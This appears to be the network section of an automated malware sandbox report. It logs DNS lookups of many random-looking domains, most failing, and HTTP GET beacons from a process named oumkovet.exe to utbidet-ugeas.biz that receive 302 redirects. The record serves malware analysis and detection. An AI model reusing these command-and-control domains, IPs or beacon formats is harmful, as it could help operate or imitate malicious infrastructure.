Sep 8, 2024 08:43:03.042171955 CEST	1.1.1.1	192.168.2.5	0xb02b	Name error (3)	kkjaozypkgge.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.376475096 CEST	1.1.1.1	192.168.2.5	0x40d8	Name error (3)	kkjaozypkgge.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.376501083 CEST	1.1.1.1	192.168.2.5	0x40d8	Name error (3)	kkjaozypkgge.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.552676916 CEST	1.1.1.1	192.168.2.5	0x2639	Name error (3)	dmfiqwfdvkd.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.611686945 CEST	1.1.1.1	192.168.2.5	0x4f70	Name error (3)	dmfiqwfdvkd.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.921435118 CEST	1.1.1.1	192.168.2.5	0x3742	Name error (3)	uuziwis.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.960293055 CEST	1.1.1.1	192.168.2.5	0x88ea	Name error (3)	uuziwis.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:04.098063946 CEST	1.1.1.1	192.168.2.5	0xb0aa	No error (0)	lswadrkcxgrow.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:05.252511978 CEST	1.1.1.1	192.168.2.5	0x96ab	No error (0)	igwfozqiylay.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.396696091 CEST	1.1.1.1	192.168.2.5	0xe126	Name error (3)	kwssua.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.408526897 CEST	1.1.1.1	192.168.2.5	0x604d	Name error (3)	kwssua.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.521554947 CEST	1.1.1.1	192.168.2.5	0x60fa	Name error (3)	qtucu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.545166969 CEST	1.1.1.1	192.168.2.5	0xb950	Name error (3)	qtucu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.836147070 CEST	1.1.1.1	192.168.2.5	0xcbc9	Name error (3)	qnlmfbgkgis.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:07.038033009 CEST	1.1.1.1	192.168.2.5	0x602c	Name error (3)	qnlmfbgkgis.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:07.162041903 CEST	1.1.1.1	192.168.2.5	0x7ec9	No error (0)	irqmyes.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.810087919 CEST	1.1.1.1	192.168.2.5	0x9a93	Name error (3)	zeqzwwmbkeyi.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.810105085 CEST	1.1.1.1	192.168.2.5	0x9a93	Name error (3)	zeqzwwmbkeyi.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.892565966 CEST	1.1.1.1	192.168.2.5	0xb51a	Name error (3)	zeqzwwmbkeyi.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:09.042597055 CEST	1.1.1.1	192.168.2.5	0x7375	Name error (3)	kzeukmotcfym.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:09.090441942 CEST	1.1.1.1	192.168.2.5	0x4f32	Name error (3)	kzeukmotcfym.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:09.219095945 CEST	1.1.1.1	192.168.2.5	0xbd31	No error (0)	ungghigcsoc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:10.681178093 CEST	1.1.1.1	192.168.2.5	0x1fd6	Name error (3)	omkegitgypmeg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:10.859090090 CEST	1.1.1.1	192.168.2.5	0x484c	Name error (3)	omkegitgypmeg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.147340059 CEST	1.1.1.1	192.168.2.5	0x8114	Name error (3)	qmkiaqaceawnmk.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.333817959 CEST	1.1.1.1	192.168.2.5	0xc716	Name error (3)	qmkiaqaceawnmk.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.479559898 CEST	1.1.1.1	192.168.2.5	0xf168	Name error (3)	cewisyjayokwi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.490837097 CEST	1.1.1.1	192.168.2.5	0xbe24	Name error (3)	cewisyjayokwi.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.707103014 CEST	1.1.1.1	192.168.2.5	0x1df	Name error (3)	qiavpomk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.954961061 CEST	1.1.1.1	192.168.2.5	0x77f3	Name error (3)	qiavpomk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.956731081 CEST	1.1.1.1	192.168.2.5	0x77f3	Name error (3)	qiavpomk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.335923910 CEST	1.1.1.1	192.168.2.5	0xc64f	Name error (3)	ostkhqaiupo.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.335937023 CEST	1.1.1.1	192.168.2.5	0xc64f	Name error (3)	ostkhqaiupo.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.355227947 CEST	1.1.1.1	192.168.2.5	0xa37a	Name error (3)	ostkhqaiupo.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.513948917 CEST	1.1.1.1	192.168.2.5	0x11bd	Name error (3)	aqugchauqckaw.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.816533089 CEST	1.1.1.1	192.168.2.5	0x8f6	Name error (3)	aqugchauqckaw.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.816548109 CEST	1.1.1.1	192.168.2.5	0x8f6	Name error (3)	aqugchauqckaw.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.954106092 CEST	1.1.1.1	192.168.2.5	0x7199	No error (0)	cmepmsjke.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.124079943 CEST	1.1.1.1	192.168.2.5	0xdd0c	Name error (3)	ovuoyeswesuko.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.392385960 CEST	1.1.1.1	192.168.2.5	0x5747	Name error (3)	ovuoyeswesuko.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.392395973 CEST	1.1.1.1	192.168.2.5	0x5747	Name error (3)	ovuoyeswesuko.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.995765924 CEST	1.1.1.1	192.168.2.5	0xfbab	Name error (3)	glmnq.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.995788097 CEST	1.1.1.1	192.168.2.5	0xfbab	Name error (3)	glmnq.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:15.020555973 CEST	1.1.1.1	192.168.2.5	0xa53c	Name error (3)	glmnq.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:15.130487919 CEST	1.1.1.1	192.168.2.5	0x7e84	No error (0)	kkraxlrbejnyc.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.419627905 CEST	1.1.1.1	192.168.2.5	0x8019	Name error (3)	nlmfgma.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.596076012 CEST	1.1.1.1	192.168.2.5	0xeb57	Name error (3)	nlmfgma.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.096375942 CEST	1.1.1.1	192.168.2.5	0x4828	Name error (3)	tssqyewcgzqwl.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.096393108 CEST	1.1.1.1	192.168.2.5	0x4828	Name error (3)	tssqyewcgzqwl.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.222615957 CEST	1.1.1.1	192.168.2.5	0x76e0	Name error (3)	tssqyewcgzqwl.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.344194889 CEST	1.1.1.1	192.168.2.5	0xc75f	No error (0)	slmcftxsown.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.529668093 CEST	1.1.1.1	192.168.2.5	0x1831	Name error (3)	kancwyakaesake.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.542119980 CEST	1.1.1.1	192.168.2.5	0x671d	Name error (3)	kancwyakaesake.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.662024975 CEST	1.1.1.1	192.168.2.5	0x52f4	Name error (3)	ksxariaikud.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.940874100 CEST	1.1.1.1	192.168.2.5	0x6216	Name error (3)	ksxariaikud.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.940885067 CEST	1.1.1.1	192.168.2.5	0x6216	Name error (3)	ksxariaikud.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:19.977219105 CEST	1.1.1.1	192.168.2.5	0x1a51	Name error (3)	kkkgxco.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:19.977231026 CEST	1.1.1.1	192.168.2.5	0x1a51	Name error (3)	kkkgxco.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:20.314969063 CEST	1.1.1.1	192.168.2.5	0x9c05	Name error (3)	kkkgxco.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:20.314989090 CEST	1.1.1.1	192.168.2.5	0x9c05	Name error (3)	kkkgxco.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:20.445872068 CEST	1.1.1.1	192.168.2.5	0xb357	No error (0)	yymav.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:21.776212931 CEST	1.1.1.1	192.168.2.5	0x86b5	Name error (3)	hygwtwsknlqlue.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:21.874316931 CEST	1.1.1.1	192.168.2.5	0x388f	Name error (3)	hygwtwsknlqlue.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:22.244038105 CEST	1.1.1.1	192.168.2.5	0x7286	No error (0)	evqxaweeokokk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.572210073 CEST	1.1.1.1	192.168.2.5	0x1c38	Name error (3)	frcemoxpooyys.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.970197916 CEST	1.1.1.1	192.168.2.5	0xee66	Name error (3)	frcemoxpooyys.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.975950003 CEST	1.1.1.1	192.168.2.5	0xee66	Name error (3)	frcemoxpooyys.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.279079914 CEST	1.1.1.1	192.168.2.5	0xc1f2	Name error (3)	wntkaiqyxxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.297394991 CEST	1.1.1.1	192.168.2.5	0x803e	Name error (3)	wntkaiqyxxz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.743864059 CEST	1.1.1.1	192.168.2.5	0x4104	Name error (3)	mzeemghiq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.743881941 CEST	1.1.1.1	192.168.2.5	0x4104	Name error (3)	mzeemghiq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:25.592113018 CEST	1.1.1.1	192.168.2.5	0x7eec	Name error (3)	mzeemghiq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:25.592144966 CEST	1.1.1.1	192.168.2.5	0x7eec	Name error (3)	mzeemghiq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.102857113 CEST	1.1.1.1	192.168.2.5	0x3a33	Name error (3)	sglbwemuihmlf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.106156111 CEST	1.1.1.1	192.168.2.5	0x3a33	Name error (3)	sglbwemuihmlf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.291457891 CEST	1.1.1.1	192.168.2.5	0x4362	Name error (3)	sglbwemuihmlf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.577493906 CEST	1.1.1.1	192.168.2.5	0x4340	Name error (3)	goece.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.645653009 CEST	1.1.1.1	192.168.2.5	0xaf72	Name error (3)	goece.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.776082039 CEST	1.1.1.1	192.168.2.5	0x7a5c	No error (0)	zaasnvseiocq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:27.911767960 CEST	1.1.1.1	192.168.2.5	0x26dc	No error (0)	nisugdcg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:29.048468113 CEST	1.1.1.1	192.168.2.5	0xfbdc	No error (0)	trpnqzwuuuy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.297094107 CEST	1.1.1.1	192.168.2.5	0x6696	Name error (3)	kffjuu.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.419886112 CEST	1.1.1.1	192.168.2.5	0x6e08	Name error (3)	kffjuu.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.557286024 CEST	1.1.1.1	192.168.2.5	0xcf4f	Name error (3)	gxkki.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.568816900 CEST	1.1.1.1	192.168.2.5	0x793	Name error (3)	gxkki.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.687766075 CEST	1.1.1.1	192.168.2.5	0x7ded	Name error (3)	kwyto.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.766074896 CEST	1.1.1.1	192.168.2.5	0x77ac	Name error (3)	kwyto.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.022279024 CEST	1.1.1.1	192.168.2.5	0x55ce	Name error (3)	qvgefqwiz.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.221900940 CEST	1.1.1.1	192.168.2.5	0x28e1	Name error (3)	qvgefqwiz.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.360096931 CEST	1.1.1.1	192.168.2.5	0xde	Name error (3)	axlgjmc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.373848915 CEST	1.1.1.1	192.168.2.5	0x8302	Name error (3)	axlgjmc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.489785910 CEST	1.1.1.1	192.168.2.5	0x7b55	No error (0)	xxtgm.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.929536104 CEST	1.1.1.1	192.168.2.5	0x1e51	Name error (3)	mkivc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.929555893 CEST	1.1.1.1	192.168.2.5	0x1e51	Name error (3)	mkivc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.942169905 CEST	1.1.1.1	192.168.2.5	0xa30e	Name error (3)	mkivc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:33.052077055 CEST	1.1.1.1	192.168.2.5	0x1d	No error (0)	xgsyhs.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.372488976 CEST	1.1.1.1	192.168.2.5	0x206f	Name error (3)	iwrmmckgysisu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.719882011 CEST	1.1.1.1	192.168.2.5	0xf38e	Name error (3)	iwrmmckgysisu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.721843958 CEST	1.1.1.1	192.168.2.5	0xf38e	Name error (3)	iwrmmckgysisu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.915009975 CEST	1.1.1.1	192.168.2.5	0x5865	Name error (3)	awxkchscu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.410928965 CEST	1.1.1.1	192.168.2.5	0xa4f5	Name error (3)	awxkchscu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.410952091 CEST	1.1.1.1	192.168.2.5	0xa4f5	Name error (3)	awxkchscu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.826534033 CEST	1.1.1.1	192.168.2.5	0x16df	Name error (3)	iajqusne.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.826555014 CEST	1.1.1.1	192.168.2.5	0x16df	Name error (3)	iajqusne.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.860785007 CEST	1.1.1.1	192.168.2.5	0xafb7	Name error (3)	iajqusne.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.264756918 CEST	1.1.1.1	192.168.2.5	0xb107	Name error (3)	weasqlu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.264781952 CEST	1.1.1.1	192.168.2.5	0xb107	Name error (3)	weasqlu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.298676968 CEST	1.1.1.1	192.168.2.5	0x83f2	Name error (3)	weasqlu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.635087967 CEST	1.1.1.1	192.168.2.5	0xc3d3	Name error (3)	uwbse.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.818795919 CEST	1.1.1.1	192.168.2.5	0x5be1	Name error (3)	uwbse.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.952910900 CEST	1.1.1.1	192.168.2.5	0xe941	Name error (3)	gkuipnocxq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.987567902 CEST	1.1.1.1	192.168.2.5	0xda8f	Name error (3)	gkuipnocxq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.100387096 CEST	1.1.1.1	192.168.2.5	0x86a9	Name error (3)	ookesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.116048098 CEST	1.1.1.1	192.168.2.5	0x4dc7	Name error (3)	ookesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.223356962 CEST	1.1.1.1	192.168.2.5	0xaf17	No error (0)	lgggysueya.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:38.350410938 CEST	1.1.1.1	192.168.2.5	0x8db5	No error (0)	tczoykwyy.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.684518099 CEST	1.1.1.1	192.168.2.5	0xc2d3	Name error (3)	qhsgqwesqkmty.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.721493006 CEST	1.1.1.1	192.168.2.5	0x7572	Name error (3)	qhsgqwesqkmty.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.853909969 CEST	1.1.1.1	192.168.2.5	0x34b2	Name error (3)	wqagw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.889143944 CEST	1.1.1.1	192.168.2.5	0x6c32	Name error (3)	wqagw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.003850937 CEST	1.1.1.1	192.168.2.5	0x6954	Name error (3)	mwbcifuclio.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.015535116 CEST	1.1.1.1	192.168.2.5	0xfbca	Name error (3)	mwbcifuclio.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.364624023 CEST	1.1.1.1	192.168.2.5	0x5de2	Name error (3)	uxakw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.364641905 CEST	1.1.1.1	192.168.2.5	0x5de2	Name error (3)	uxakw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.376514912 CEST	1.1.1.1	192.168.2.5	0xb2c	Name error (3)	uxakw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.741238117 CEST	1.1.1.1	192.168.2.5	0x5a63	Name error (3)	ekzggkvhyuhcq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.741271019 CEST	1.1.1.1	192.168.2.5	0x5a63	Name error (3)	ekzggkvhyuhcq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:41.174123049 CEST	1.1.1.1	192.168.2.5	0xb790	Name error (3)	ekzggkvhyuhcq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:41.174160957 CEST	1.1.1.1	192.168.2.5	0xb790	Name error (3)	ekzggkvhyuhcq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:41.320391893 CEST	1.1.1.1	192.168.2.5	0x8dfa	No error (0)	yulxrzcirsmje.ws		64.70.19.203	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

utbidet-ugeas.biz

sngrcudng.ph

rnmkcgd.ph

qzyobaes.ph

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:40.790909052 CEST	169	OUT	GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:41.281575918 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:41.557493925 CEST	201	OUT	GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:42.054517984 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:41 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:42.415600061 CEST	169	OUT	GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:42.918627024 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:42 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:42.924551964 CEST	201	OUT	GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:39:43.425421000 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:43 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

